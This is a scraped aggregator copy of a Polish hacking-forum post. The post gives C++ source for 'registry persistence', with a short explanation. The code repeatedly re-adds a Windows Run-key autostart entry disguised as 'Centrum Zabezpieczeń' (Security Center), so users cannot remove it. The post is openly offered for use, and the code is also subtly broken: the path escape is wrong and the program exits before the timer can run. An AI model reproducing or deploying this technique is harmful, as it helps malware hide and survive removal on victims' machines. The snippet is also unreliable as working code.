Quantcast
Channel: HAKER - Forum Komputerowe
Viewing all articles
Browse latest Browse all 4549

C++ Registry Persistance - Pilnowanie klucza w rejestrze

$
0
0
Registry persistance to metoda, która niepozwala na usunięcie określonego klucza z rejestru systemu Windows. Najprostsza implementacja to licznik czasowy, który odnawia klucz i w ten sposób po usunięciu klucz znów powstaje.

Kod:

#include <Windows.h>

char szPath[] = "C:\aaa.exe";

VOID CALLBACK RegTimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime)
{
        HKEY hkSoftware;
        RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkSoftware);
        RegSetValueEx(hkSoftware, "Centrum Zabezpieczeń", 0, REG_SZ, (BYTE*)szPath, lstrlen(szPath)+1);
        RegCloseKey(hkSoftware);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

        SetTimer(0, 4, 2000, (TIMERPROC)RegTimerProc);

        MessageBox(0, "Klucz jest pilnowany. Po usunieciu jest przywracany.", 0, 0);

        ExitProcess(0);
}


Viewing all articles
Browse latest Browse all 4549

Trending Articles


TRX Antek AVT - 2310 ver 2,0


Автовишка HAULOTTE HA 16 SPX


POTANIACZ


Zrób Sam - rocznik 1985 [PDF] [PL]


Maxgear opinie


BMW E61 2.5d błąd 43E2 - klapa gasząca a DPF


Eveline ➤ Matowe pomadki Velvet Matt Lipstick 500, 506, 5007


Auta / Cars (2006) PLDUB.BRRip.480p.XviD.AC3-LTN / DUBBING PL


Peugeot 508 problem z elektroniką


AŚ Jelenia Góra